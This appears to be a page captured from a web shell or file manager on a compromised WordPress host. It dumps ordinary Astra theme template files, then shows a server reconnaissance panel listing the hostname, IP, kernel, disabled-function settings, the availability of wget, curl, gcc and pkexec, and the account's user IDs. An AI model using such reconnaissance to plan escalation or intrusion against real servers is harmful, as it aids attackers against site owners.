class="ast-builder-grid-row <?php echo Astra_Builder_Helper::has_mobile_side_columns( $astra_row ) ? 'ast-builder-grid-row-has-sides' : 'ast-grid-center-col-layout-only ast-flex'; ?> <?php echo Astra_Builder_Helper::has_mobile_center_column( $astra_row ) ? 'ast-grid-center-col-layout' : 'ast-builder-grid-row-no-center'; ?>"> <?php if ( Astra_Builder_Helper::has_mobile_side_columns( $astra_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_row ); ?>-section-left site-header-section ast-flex site-header-section-left"> <?php /** * Astra Render Header Column */ do_action( 'astra_render_mobile_header_column', $astra_row, 'left' ); if ( Astra_Builder_Helper::has_mobile_center_column( $astra_row ) ) { /** * Astra Render Header Column */ do_action( 'astra_render_mobile_header_column', $astra_row, 'left_center' ); } ?> </div> <?php } ?> <?php if ( Astra_Builder_Helper::has_mobile_center_column( $astra_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_row ); ?>-section-center site-header-section ast-flex ast-grid-section-center"> <?php /** * Astra Render Header Column */ do_action( 'astra_render_mobile_header_column', $astra_row, 'center' ); ?> </div> <?php } ?> <?php if ( Astra_Builder_Helper::has_mobile_side_columns( $astra_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_row ); ?>-section-right site-header-section ast-flex ast-grid-right-section"> <?php if ( Astra_Builder_Helper::has_mobile_center_column( $astra_row ) ) { /** * Astra Render Header Column */ do_action( 'astra_render_mobile_header_column', $astra_row, 'right_center' ); } /** * Astra Render Header Column */ do_action( 'astra_render_mobile_header_column', $astra_row, 'right' ); ?> </div> <?php } ?> </div> <?php /** * Astra Render after Site Content. */ do_action( "astra_header_{$astra_row}_container_after" ); ?> </div> </div> <?php } header/header-main-layout.php 0000644 00000001661 15150055417 0012201 0 ustar 00 <?php /** * Template for Primary Header * * The header layout 2 for Astra Theme. ( No of sections - 1 [ Section 1 limit - 3 ) * This is the template that displays all of the <head> section and everything up until <div id="content"> * * @see https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ ?> <div class="main-header-bar-wrap"> <div <?php echo astra_attr( 'main-header-bar' ); ?>> <?php astra_main_header_bar_top(); ?> <div class="ast-container"> <div class="ast-flex main-header-container"> <?php astra_masthead_content(); ?> </div><!-- Main Header Container --> </div><!-- ast-row --> <?php astra_main_header_bar_bottom(); ?> </div> <!-- Main Header Bar --> </div> <!-- Main Header Bar Wrap --> header/index.php 0000644 00000000157 15150055417 0007622 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.0.0 */ /* Silence is golden, and we agree. */ single/content-header.php 0000644 00000001767 15150055417 0011454 0 ustar 00 <?php /** * Template for Single Page * * @package Astra * @author Astra * @copyright Copyright (c) 2022, Astra * @link https://wpastra.com/ * @since Astra 4.0.0 */ if ( apply_filters( 'astra_single_layout_one_banner_visibility', true ) ) { ?> <header class="entry-header <?php astra_entry_header_class(); ?>"> <?php astra_banner_elements_order(); ?> </header> <!-- .entry-header --> <?php } ?> <div class="entry-content clear" <?php echo astra_attr( 'article-entry-content-page', array( 'class' => '', ) ); ?> > <?php astra_entry_content_before(); ?> <?php the_content(); ?> <?php astra_entry_content_after(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-single-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> single/index.php 0000644 00000000157 15150055417 0007653 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.0.0 */ /* Silence is golden, and we agree. */ single/single-layout.php 0000644 00000003153 15150055417 0011337 0 ustar 00 <?php /** * Template for Single post * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ ?> <div <?php astra_blog_layout_class( 'single-layout-1' ); ?>> <?php astra_single_header_before(); ?> <?php if ( apply_filters( 'astra_single_layout_one_banner_visibility', true ) ) { ?> <header class="entry-header <?php astra_entry_header_class(); ?>"> <?php astra_single_header_top(); ?> <?php astra_banner_elements_order(); ?> <?php astra_single_header_bottom(); ?> </header><!-- .entry-header --> <?php } ?> <?php astra_single_header_after(); ?> <div class="entry-content clear" <?php echo astra_attr( 'article-entry-content-single-layout', array( 'class' => '', ) ); ?> > <?php astra_entry_content_before(); ?> <?php the_content(); ?> <?php astra_edit_post_link( sprintf( /* translators: %s: Name of current post */ esc_html__( 'Edit %s', 'astra' ), the_title( '<span class="screen-reader-text">"', '"</span>', false ) ), '<span class="edit-link">', '</span>' ); ?> <?php astra_entry_content_after(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-single-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> </div> archive-banner.php 0000644 00000004160 15150055417 0010145 0 ustar 00 <?php /** * Template part for displaying archive post's entry banner. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 4.0.0 */ $astra_post_type = ! empty( $args ) && ! empty( $args['post_type'] ) ? $args['post_type'] : strval( get_post_type() ); $astra_banner_control = 'ast-dynamic-archive-' . esc_attr( $astra_post_type ); // If description is the only meta available in structure & its blank then no need to render banner markup. $astra_archive_structure = astra_get_option( $astra_banner_control . '-structure', array( $astra_banner_control . '-title', $astra_banner_control . '-description' ) ); $astra_get_archive_description = astra_get_archive_description( $astra_post_type ); if ( 1 === count( $astra_archive_structure ) && in_array( $astra_banner_control . '-description', $astra_archive_structure ) && empty( $astra_get_archive_description ) ) { return; } // Conditionally updating data section & class. $astra_attr = 'class="ast-archive-entry-banner"'; if ( is_customize_preview() ) { $astra_attr = 'class="ast-archive-entry-banner ast-post-banner-highlight site-header-focus-item" data-section="' . esc_attr( $astra_banner_control ) . '"'; } $astra_layout_type = astra_get_option( $astra_banner_control . '-layout' ); $astra_data_attrs = 'data-post-type="' . $astra_post_type . '" data-banner-layout="' . $astra_layout_type . '"'; if ( 'layout-2' === $astra_layout_type && 'custom' === astra_get_option( $astra_banner_control . '-banner-width-type', 'fullwidth' ) ) { $astra_data_attrs .= 'data-banner-width-type="custom"'; } $astra_background_type = astra_get_option( $astra_banner_control . '-banner-image-type', 'none' ); if ( 'layout-2' === $astra_layout_type && 'none' !== $astra_background_type ) { $astra_data_attrs .= 'data-banner-background-type="' . $astra_background_type . '"'; } ?> <section <?php echo wp_kses_post( $astra_attr . ' ' . $astra_data_attrs ); ?>> <div class="ast-container"> <?php if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_banner_customizer_edit_button(); } astra_banner_elements_order(); ?> </div> </section> content-404.php 0000644 00000000615 15150055417 0007241 0 ustar 00 <?php /** * Template part for displaying a 404 page. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 1.2.7 */ ?> <?php astra_entry_before(); ?> <section class="error-404 not-found"> <?php astra_entry_top(); ?> <?php astra_entry_content_404_page(); ?> <?php astra_entry_bottom(); ?> </section><!-- .error-404 --> <?php astra_entry_after(); ?> content-blog.php 0000644 00000001026 15150055417 0007652 0 ustar 00 <?php /** * Template part for displaying posts. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 1.0.0 */ ?> <?php astra_entry_before(); ?> <article <?php echo astra_attr( 'article-blog', array( 'id' => 'post-' . get_the_id(), 'class' => join( ' ', get_post_class() ), ) ); ?> > <?php astra_entry_top(); ?> <?php astra_entry_content_blog(); ?> <?php astra_entry_bottom(); ?> </article><!-- #post-## --> <?php astra_entry_after(); ?> content-none.php 0000644 00000002441 15150055417 0007670 0 ustar 00 <?php /** * Template part for displaying a message that posts cannot be found. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 1.0.0 */ ?> <section class="no-results not-found"> <div class="page-content"> <?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?> <p> <?php printf( wp_kses( /* translators: 1: link to new post */ __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'astra' ), array( 'a' => array( 'href' => array(), ), ) ), esc_url( admin_url( 'post-new.php' ) ) ); ?> </p> <?php elseif ( is_search() ) : ?> <p><?php echo esc_html( astra_default_strings( 'string-search-nothing-found-message', false ) ); ?></p> <?php if ( is_callable( 'Astra_Dynamic_CSS::astra_4_6_0_compatibility' ) && Astra_Dynamic_CSS::astra_4_6_0_compatibility() ) { the_widget( 'WP_Widget_Search' ); } else { get_search_form(); } ?> <?php else : ?> <p><?php echo esc_html( astra_default_strings( 'string-content-nothing-found-message', false ) ); ?></p> <?php get_search_form(); ?> <?php endif; ?> </div><!-- .page-content --> </section><!-- .no-results --> content-page.php 0000644 00000001607 15150055417 0007650 0 ustar 00 <?php /** * Template part for displaying page content in page.php. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 1.0.0 */ ?> <?php astra_entry_before(); ?> <article <?php echo astra_attr( 'article-page', array( 'id' => 'post-' . get_the_id(), 'class' => join( ' ', get_post_class() ), ) ); ?> > <?php astra_entry_top(); ?> <?php astra_entry_content_single_page(); ?> <?php astra_edit_post_link( sprintf( /* translators: %s: Name of current post */ esc_html__( 'Edit %s', 'astra' ), the_title( '<span class="screen-reader-text">"', '"</span>', false ) ), '<footer class="entry-footer"><span class="edit-link">', '</span></footer><!-- .entry-footer -->' ); ?> <?php astra_entry_bottom(); ?> </article><!-- #post-## --> <?php astra_entry_after(); ?> content-single.php 0000644 00000001057 15150055417 0010214 0 ustar 00 <?php /** * Template part for displaying single posts. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 1.0.0 */ ?> <?php astra_entry_before(); ?> <article <?php echo astra_attr( 'article-single', array( 'id' => 'post-' . get_the_id(), 'class' => join( ' ', get_post_class() ), ) ); ?> > <?php astra_entry_top(); ?> <?php astra_entry_content_single(); ?> <?php astra_entry_bottom(); ?> </article><!-- #post-## --> <?php astra_entry_after(); ?> content.php 0000644 00000003672 15150055417 0006742 0 ustar 00 <?php /** * Template part for displaying posts. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 1.0.0 */ ?> <?php astra_entry_before(); ?> <article <?php echo astra_attr( 'article-content', array( 'id' => 'post-' . get_the_id(), 'class' => join( ' ', get_post_class() ), ) ); ?> > <?php astra_entry_top(); ?> <header class="entry-header <?php astra_entry_header_class(); ?>"> <?php astra_the_title( sprintf( '<h2 class="entry-title" ' . astra_attr( 'article-title-content', array( 'class' => '', ) ) . '><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?> </header><!-- .entry-header --> <div class="entry-content clear" <?php echo astra_attr( 'article-entry-content', array( 'class' => '', ) ); ?> > <?php astra_entry_content_before(); ?> <?php the_content( sprintf( wp_kses( /* translators: %s: Name of current post. */ __( 'Continue reading %s', 'astra' ) . ' <span class="meta-nav">→</span>', array( 'span' => array( 'class' => array(), ), ) ), the_title( '<span class="screen-reader-text">"', '"</span>', false ) ) ); ?> <?php astra_entry_content_after(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-single-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> <footer class="entry-footer"> <?php astra_entry_footer(); ?> </footer><!-- .entry-footer --> <?php astra_entry_bottom(); ?> </article><!-- #post-## --> <?php astra_entry_after(); ?> index.php 0000644 00000000157 15150055417 0006372 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.0.0 */ /* Silence is golden, and we agree. */ scroll-to-top.php 0000644 00000001343 15150055417 0007777 0 ustar 00 <?php /** * Scroll To Top Template * * @package Astra * @since 4.0.0 */ $astra_addon_scroll_top_alignment = astra_get_option( 'scroll-to-top-icon-position' ); $astra_addon_scroll_top_devices = astra_get_option( 'scroll-to-top-on-devices' ); ?> <div id="ast-scroll-top" tabindex="0" class="<?php echo esc_attr( apply_filters( 'astra_scroll_top_icon', 'ast-scroll-top-icon' ) ); ?> ast-scroll-to-top-<?php echo esc_attr( $astra_addon_scroll_top_alignment ); ?>" data-on-devices="<?php echo esc_attr( $astra_addon_scroll_top_devices ); ?>"> <?php if ( Astra_Icons::is_svg_icons() ) { Astra_Icons::get_icons( 'arrow', true ); } ?> <span class="screen-reader-text"><?php esc_html_e( 'Scroll to Top', 'astra' ); ?></span> </div> single-banner.php 0000644 00000003262 15150055417 0010007 0 ustar 00 <?php /** * Template part for displaying single post's entry banner. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 4.0.0 */ $astra_post_type = strval( get_post_type() ); $astra_banner_control = 'ast-dynamic-single-' . esc_attr( $astra_post_type ); // If banner will be with empty markup then better to skip it. if ( false !== strpos( astra_entry_header_class( false ), 'ast-header-without-markup' ) ) { return; } // Conditionally updating data section & class. $astra_attr = 'class="ast-single-entry-banner"'; if ( is_customize_preview() ) { $astra_attr = 'class="ast-single-entry-banner ast-post-banner-highlight site-header-focus-item" data-section="' . esc_attr( $astra_banner_control ) . '"'; } $astra_data_attrs = 'data-post-type="' . $astra_post_type . '"'; $astra_layout_type = astra_get_option( $astra_banner_control . '-layout', 'layout-1' ); $astra_data_attrs .= 'data-banner-layout="' . $astra_layout_type . '"'; if ( 'layout-2' === $astra_layout_type && 'custom' === astra_get_option( $astra_banner_control . '-banner-width-type', 'fullwidth' ) ) { $astra_data_attrs .= 'data-banner-width-type="custom"'; } $astra_featured_background = astra_get_option( $astra_banner_control . '-featured-as-background', false ); if ( 'layout-2' === $astra_layout_type && $astra_featured_background ) { $astra_data_attrs .= 'data-banner-background-type="featured"'; } ?> <section <?php echo wp_kses_post( $astra_attr . ' ' . $astra_data_attrs ); ?>> <div class="ast-container"> <?php if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_banner_customizer_edit_button(); } astra_banner_elements_order(); ?> </div> </section> special-banner.php 0000644 00000004164 15150055417 0010150 0 ustar 00 <?php /** * Template part for displaying archive post's entry banner. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 4.0.0 */ $special_type = ! empty( $args ) && ! empty( $args['type'] ) ? $args['type'] : 'search'; $astra_banner_control = 'section-' . esc_attr( $special_type ) . '-page-title'; // If description is the only meta available in structure & its blank then no need to render banner markup. $astra_archive_structure = astra_get_option( $astra_banner_control . '-structure', array( $astra_banner_control . '-title' ) ); if ( empty( $astra_archive_structure ) ) { return; } $astra_get_archive_description = astra_get_archive_description( $special_type ); if ( 1 === count( $astra_archive_structure ) && in_array( $astra_banner_control . '-description', $astra_archive_structure ) && empty( $astra_get_archive_description ) ) { return; } // Conditionally updating data section & class. $astra_attr = 'class="ast-archive-entry-banner"'; if ( is_customize_preview() ) { $astra_attr = 'class="ast-archive-entry-banner ast-post-banner-highlight site-header-focus-item" data-section="' . esc_attr( $astra_banner_control ) . '"'; } $astra_layout_type = astra_get_option( $astra_banner_control . '-layout' ); $astra_data_attrs = 'data-post-type="' . $special_type . '" data-banner-layout="' . $astra_layout_type . '"'; if ( 'layout-2' === $astra_layout_type && 'custom' === astra_get_option( $astra_banner_control . '-banner-width-type', 'fullwidth' ) ) { $astra_data_attrs .= 'data-banner-width-type="custom"'; } $astra_background_type = astra_get_option( $astra_banner_control . '-banner-image-type', 'none' ); if ( 'layout-2' === $astra_layout_type && 'none' !== $astra_background_type ) { $astra_data_attrs .= 'data-banner-background-type="' . $astra_background_type . '"'; } ?> <section <?php echo wp_kses_post( $astra_attr . ' ' . $astra_data_attrs ); ?>> <div class="ast-container"> <?php if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_banner_customizer_edit_button(); } astra_banner_elements_order( $astra_archive_structure ); ?> </div> </section>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 212.31 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042